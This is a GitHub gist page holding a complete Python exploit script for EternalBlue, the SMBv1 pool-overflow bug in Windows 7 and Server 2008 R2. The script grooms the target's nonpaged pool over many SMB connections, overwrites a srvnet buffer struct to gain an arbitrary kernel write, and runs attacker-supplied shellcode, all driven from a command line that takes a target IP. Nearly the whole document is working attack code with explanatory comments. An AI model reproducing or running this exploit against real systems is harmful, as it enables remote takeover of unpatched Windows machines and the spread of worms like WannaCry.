-
-
Save kittinan/5f0f90e4196658d7481f85b8487f2d85 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from impacket import smb | |
from struct import pack | |
import os | |
import sys | |
import socket | |
''' | |
EternalBlue exploit by sleepya | |
The exploit might FAIL and CRASH a target system (depended on what is overwritten) | |
Tested on: | |
- Windows 7 SP1 x64 | |
- Windows 2008 R2 x64 | |
Reference: | |
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ | |
Exploit info: | |
- For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ | |
- I do not reverse engineer any x86 binary so I do not know about exact offset. | |
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. | |
This memory page is executable on Windows 7 and Wndows 2008. | |
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. | |
- The exploit trick is same as NSA exploit | |
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. | |
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) | |
- See the code and comment for exploit detail. | |
''' | |
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) | |
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time | |
# the size 0x11000 is used in nsa exploit. this size is more reliable. | |
NTFEA_SIZE = 0x11000 | |
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde | |
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20 | |
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc | |
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0 | |
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec | |
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 } | |
''' | |
Reverse from srvnet.sys (Win7 x64) | |
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete(): | |
// for x64 | |
struct SRVNET_BUFFER { | |
// offset from POOLHDR: 0x10 | |
USHORT flag; | |
char pad[2]; | |
char unknown0[12]; | |
// offset from SRVNET_POOLHDR: 0x20 | |
LIST_ENTRY list; | |
// offset from SRVNET_POOLHDR: 0x30 | |
char *pnetBuffer; | |
DWORD netbufSize; // size of netBuffer | |
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information | |
// offset from SRVNET_POOLHDR: 0x40 | |
MDL *pMdl1; // at offset 0x70 | |
DWORD unknown3; | |
DWORD pad3; | |
// offset from SRVNET_POOLHDR: 0x50 | |
DWORD nbnsSize; // size of this smb packet (from user) | |
DWORD pad4; | |
QWORD pSrvNetWekStruct; // want to change to fake struct address | |
// offset from SRVNET_POOLHDR: 0x60 | |
MDL *pMdl2; | |
QWORD unknown5; | |
// offset from SRVNET_POOLHDR: 0x70 | |
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address) | |
// MDL mdl2; | |
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE | |
// char netBuffer[0]; | |
} | |
struct SRVNET_POOLHDR { | |
DWORD size; | |
char unknown[12]; | |
SRVNET_BUFFER hdr; | |
} | |
''' | |
# Most field in overwritten struct can be any value because it will be freed (flag 0xffff) after processing | |
# Here is the important fields on x64 | |
# - offset 0x10 (USHORT): MUST be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside) | |
# a corrupted buffer MUST not be reused. | |
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request. | |
# The value MUST point to valid (might be fake) struct. | |
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer | |
# - 0x70 (VOID*) : MDL.Next should be NULL | |
# - 0x78 (USHORT) : MDL.Size should be some value that not too small | |
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL) | |
# - 0x80 (VOID*) : MDL.Process should be NULL | |
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. | |
# Controlling this value get arbitrary write | |
# | |
# The modified MDL.MappedSystemVa must be "target_address - 0x80" because sent size of first fragment is 0x80 | |
# - x64: 0xffffffffffd00010 - 0x80 = 0xffffffffffcfff90 | |
# - x86: 0xffdff100 - 0x80 = 0xffdfef80 | |
fakeSrvNetBufferNsa = '\x00'*16 | |
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2 | |
fakeSrvNetBufferNsa += '\x00'*16 | |
fakeSrvNetBufferNsa += pack('<IIII', 0xffdff100, 0, 0, 0xffdff020) | |
fakeSrvNetBufferNsa += pack('<IIHHI', 0xffdff100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process | |
fakeSrvNetBufferNsa += pack('<IIQ', 0xffdfef80, 0, 0xffffffffffd00010) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct | |
fakeSrvNetBufferNsa += pack('<QQ', 0xffffffffffd00118, 0) # x64 pmdl2 | |
# below 0x20 bytes is overwritting MDL | |
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough | |
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL) | |
fakeSrvNetBufferNsa += pack('<QQ', 0, 0xffffffffffcfff90) # MDL.Process, MDL.MappedSystemVa | |
# below is for targeting x64 only (all x86 related values are set to 0) | |
# this is for show what fields need to be modified | |
fakeSrvNetBufferX64 = '\x00'*16 | |
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0) | |
fakeSrvNetBufferX64 += '\x00'*16 | |
fakeSrvNetBufferX64 += '\x00'*16 | |
fakeSrvNetBufferX64 += '\x00'*16 # 0x40 | |
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, 0xffffffffffd00010) # _, _, pointer to fake struct | |
fakeSrvNetBufferX64 += pack('<QQ', 0, 0) | |
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags | |
fakeSrvNetBufferX64 += pack('<QQ', 0, 0xffffffffffcfff90) # MDL.Process, MDL.MappedSystemVa | |
fakeSrvNetBuffer = fakeSrvNetBufferNsa | |
#fakeSrvNetBuffer = fakeSrvNetBufferX64 | |
feaList = pack('<I', 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug) | |
feaList += ntfea[NTFEA_SIZE] | |
# Note: | |
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively | |
# - x64: below fea will be copy to offset 0x11000 of overflow buffer | |
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer | |
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name | |
# stop copying by invalid flag (can be any value except 0 and 0x80) | |
feaList += pack('<BBH', 0x12, 0x34, 0x5678) | |
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler() | |
# x64: fake struct is at ffffffff ffd00010 | |
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL. | |
# offset 0x08: set to 3 (DWORD) for invoking ptr to function | |
# offset 0x1d0: KSPIN_LOCK | |
# offset 0x1d8: array of pointer to function | |
# | |
# code path to get code exection after this struct is controlled | |
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr | |
fake_recv_struct = pack('<QII', 0, 3, 0) | |
fake_recv_struct += '\x00'*16 | |
fake_recv_struct += pack('<QII', 0, 3, 0) | |
fake_recv_struct += ('\x00'*16)*7 | |
fake_recv_struct += pack('<QQ', 0xffffffffffd000b0, 0xffffffffffd000b0) # offset 0xa0 (LIST_ENTRY to itself) | |
fake_recv_struct += '\x00'*16 | |
fake_recv_struct += pack('<IIQ', 0xffdff0c0, 0xffdff0c0, 0) # x86 LIST_ENTRY | |
fake_recv_struct += ('\x00'*16)*11 | |
fake_recv_struct += pack('<QII', 0, 0, 0xffdff190) # 0xffdff190 is fn_ptr array on x86 | |
fake_recv_struct += pack('<IIQ', 0, 0xffdff1f0, 0) # x86 shellcode address | |
fake_recv_struct += ('\x00'*16)*3 | |
fake_recv_struct += pack('<QQ', 0, 0xffffffffffd001f0) # offset 0x1d0: KSPINLOCK, fn_ptr array | |
fake_recv_struct += pack('<QQ', 0, 0xffffffffffd00200) # x64 shellcode address - 1 (this value will be increment by one) | |
def getNTStatus(self): | |
return (self['ErrorCode'] << 16) | self['ErrorClass'] | |
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus) | |
def sendEcho(conn, tid, data): | |
pkt = smb.NewSMBPacket() | |
pkt['Tid'] = tid | |
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) | |
transCommand['Parameters'] = smb.SMBEcho_Parameters() | |
transCommand['Data'] = smb.SMBEcho_Data() | |
transCommand['Parameters']['EchoCount'] = 1 | |
transCommand['Data']['Data'] = data | |
pkt.addCommand(transCommand) | |
conn.sendSMB(pkt) | |
recvPkt = conn.recvSMB() | |
if recvPkt.getNTStatus() == 0: | |
print('got good ECHO response') | |
else: | |
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus())) | |
# do not know why Word Count can be 12 | |
# if word count is not 12, setting ByteCount without enough data will be failed | |
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters): | |
structure = ( | |
('MaxBuffer','<H'), | |
('MaxMpxCount','<H'), | |
('VCNumber','<H'), | |
('SessionKey','<L'), | |
#('AnsiPwdLength','<H'), | |
('UnicodePwdLength','<H'), | |
('_reserved','<L=0'), | |
('Capabilities','<L'), | |
) | |
def createSessionAllocNonPaged(target, size): | |
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function | |
# You can see the allocation logic (even code is not the same) in WinNT4 source code | |
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071 | |
conn = smb.SMB(target, target) | |
_, flags2 = conn.get_flags() | |
# FLAGS2_EXTENDED_SECURITY MUST not be set | |
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY | |
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 | |
if size >= 0xffff: | |
flags2 &= ~smb.SMB.FLAGS2_UNICODE | |
reqSize = size // 2 | |
else: | |
flags2 |= smb.SMB.FLAGS2_UNICODE | |
reqSize = size | |
conn.set_flags(flags2=flags2) | |
pkt = smb.NewSMBPacket() | |
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) | |
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() | |
sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size | |
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value | |
sessionSetup['Parameters']['VCNumber'] = os.getpid() | |
sessionSetup['Parameters']['SessionKey'] = 0 | |
sessionSetup['Parameters']['AnsiPwdLength'] = 0 | |
sessionSetup['Parameters']['UnicodePwdLength'] = 0 | |
sessionSetup['Parameters']['Capabilities'] = 0x80000000 | |
# set ByteCount here | |
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 | |
pkt.addCommand(sessionSetup) | |
conn.sendSMB(pkt) | |
recvPkt = conn.recvSMB() | |
if recvPkt.getNTStatus() == 0: | |
print('SMB1 session setup allocate nonpaged pool success') | |
else: | |
print('SMB1 session setup allocate nonpaged pool failed') | |
return conn | |
# Note: impacket-0.9.15 struct has no ParameterDisplacement | |
############# SMB_COM_TRANSACTION2_SECONDARY (0x33) | |
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters): | |
structure = ( | |
('TotalParameterCount','<H=0'), | |
('TotalDataCount','<H'), | |
('ParameterCount','<H=0'), | |
('ParameterOffset','<H=0'), | |
('ParameterDisplacement','<H=0'), | |
('DataCount','<H'), | |
('DataOffset','<H'), | |
('DataDisplacement','<H=0'), | |
('FID','<H=0'), | |
) | |
def send_trans2_second(conn, tid, data, displacement): | |
pkt = smb.NewSMBPacket() | |
pkt['Tid'] = tid | |
# assume no params | |
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) | |
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed() | |
transCommand['Data'] = smb.SMBTransaction2Secondary_Data() | |
transCommand['Parameters']['TotalParameterCount'] = 0 | |
transCommand['Parameters']['TotalDataCount'] = len(data) | |
fixedOffset = 32+3+18 | |
transCommand['Data']['Pad1'] = '' | |
transCommand['Parameters']['ParameterCount'] = 0 | |
transCommand['Parameters']['ParameterOffset'] = 0 | |
if len(data) > 0: | |
pad2Len = (4 - fixedOffset % 4) % 4 | |
transCommand['Data']['Pad2'] = '\xFF' * pad2Len | |
else: | |
transCommand['Data']['Pad2'] = '' | |
pad2Len = 0 | |
transCommand['Parameters']['DataCount'] = len(data) | |
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len | |
transCommand['Parameters']['DataDisplacement'] = displacement | |
transCommand['Data']['Trans_Parameters'] = '' | |
transCommand['Data']['Trans_Data'] = data | |
pkt.addCommand(transCommand) | |
conn.sendSMB(pkt) | |
def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): | |
pkt = smb.NewSMBPacket() | |
pkt['Tid'] = tid | |
command = pack('<H', setup) | |
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) | |
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() | |
transCommand['Parameters']['MaxSetupCount'] = 1 | |
transCommand['Parameters']['MaxParameterCount'] = len(param) | |
transCommand['Parameters']['MaxDataCount'] = 0 | |
transCommand['Data'] = smb.SMBTransaction2_Data() | |
transCommand['Parameters']['Setup'] = command | |
transCommand['Parameters']['TotalParameterCount'] = len(param) | |
transCommand['Parameters']['TotalDataCount'] = len(data) | |
fixedOffset = 32+3+38 + len(command) | |
if len(param) > 0: | |
padLen = (4 - fixedOffset % 4 ) % 4 | |
padBytes = '\xFF' * padLen | |
transCommand['Data']['Pad1'] = padBytes | |
else: | |
transCommand['Data']['Pad1'] = '' | |
padLen = 0 | |
transCommand['Parameters']['ParameterCount'] = len(param) | |
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen | |
if len(data) > 0: | |
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 | |
transCommand['Data']['Pad2'] = '\xFF' * pad2Len | |
else: | |
transCommand['Data']['Pad2'] = '' | |
pad2Len = 0 | |
transCommand['Parameters']['DataCount'] = firstDataFragmentSize | |
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len | |
transCommand['Data']['Trans_Parameters'] = param | |
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] | |
pkt.addCommand(transCommand) | |
conn.sendSMB(pkt) | |
conn.recvSMB() # must be success | |
i = firstDataFragmentSize | |
while i < len(data): | |
sendSize = min(4096, len(data) - i) | |
if len(data) - i <= 4096: | |
if not sendLastChunk: | |
break | |
send_trans2_second(conn, tid, data[i:i+sendSize], i) | |
i += sendSize | |
if sendLastChunk: | |
conn.recvSMB() | |
return i | |
# connect to target and send a large nbns size with data 0x80 bytes | |
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target | |
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) | |
def createConnectionWithBigSMBFirst80(target): | |
# https://msdn.microsoft.com/en-us/library/cc246496.aspx | |
sk = socket.create_connection((target, 445)) | |
# because srvnet buffer size can be 0x11000, then 0x21000. use 0x11000 | |
pkt = '\x00' + '\x00' + pack('>H', 0xfff7) # nbns size is 3 bytes | |
# there is no need to be SMB2 | |
#pkt += '\xffSMB' # smb2 | |
# it can be anything even it is invalid | |
pkt += 'BAAD' # can be any | |
pkt += '\x00'*0x7c | |
sk.send(pkt) | |
return sk | |
def exploit(target, shellcode, numGroomConn): | |
# force using smb.SMB for SMB1 | |
conn = smb.SMB(target, target) | |
# can use conn.login() for ntlmv2 | |
conn.login_standard('', '') | |
server_os = conn.get_server_os() | |
print('Target OS: '+server_os) | |
if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")): | |
print('This exploit does not support this target') | |
sys.exit() | |
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') | |
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command | |
# we have to know what size of NtFeaList will be created when last fragment is sent | |
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False) | |
# make sure server recv all payload before starting allocate big NonPaged | |
#sendEcho(conn, tid, 'a'*12) | |
# create buffer size NTFEA_SIZE-0x1000 at server | |
# this buffer MUST NOT be big enough for overflown buffer | |
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) | |
# groom nonpaged pool | |
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one | |
srvnetConn = [] | |
for i in range(numGroomConn): | |
sk = createConnectionWithBigSMBFirst80(target) | |
srvnetConn.append(sk) | |
# create buffer size NTFEA_SIZE at server | |
# this buffer will be replaced by overflown buffer | |
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) | |
# disconnect allocConn to free buffer | |
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer | |
allocConn.get_socket().close() | |
# hope one of srvnetConn is next to holeConn | |
for i in range(5): | |
sk = createConnectionWithBigSMBFirst80(target) | |
srvnetConn.append(sk) | |
# send echo again, all new 5 srvnet buffers should be created | |
#sendEcho(conn, tid, 'a'*12) | |
# remove holeConn to create hole for fea buffer | |
holeConn.get_socket().close() | |
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header | |
send_trans2_second(conn, tid, feaList[progress:], progress) | |
recvPkt = conn.recvSMB() | |
retStatus = recvPkt.getNTStatus() | |
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag | |
if retStatus == 0xc000000d: | |
print('good response status: INVALID_PARAMETER') | |
else: | |
print('bad response status: 0x{:08x}'.format(retStatus)) | |
# one of srvnetConn struct header should be modified | |
# a corrupted buffer will write recv data in designed memory address | |
for sk in srvnetConn: | |
sk.send(fake_recv_struct + '\x90' + shellcode) | |
# execute shellcode by closing srvnet connection | |
for sk in srvnetConn: | |
sk.close() | |
# nicely close connection (no need for exploit) | |
conn.disconnect_tree(tid) | |
conn.logoff() | |
conn.get_socket().close() | |
if len(sys.argv) < 3: | |
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0])) | |
sys.exit(1) | |
TARGET=sys.argv[1] | |
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) | |
fp = open(sys.argv[2], 'rb') | |
sc = fp.read() | |
fp.close() | |
print('shellcode size: {:d}'.format(len(sc))) | |
print('numGroomConn: {:d}'.format(numGroomConn)) | |
exploit(TARGET, sc, numGroomConn) | |
print('done') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment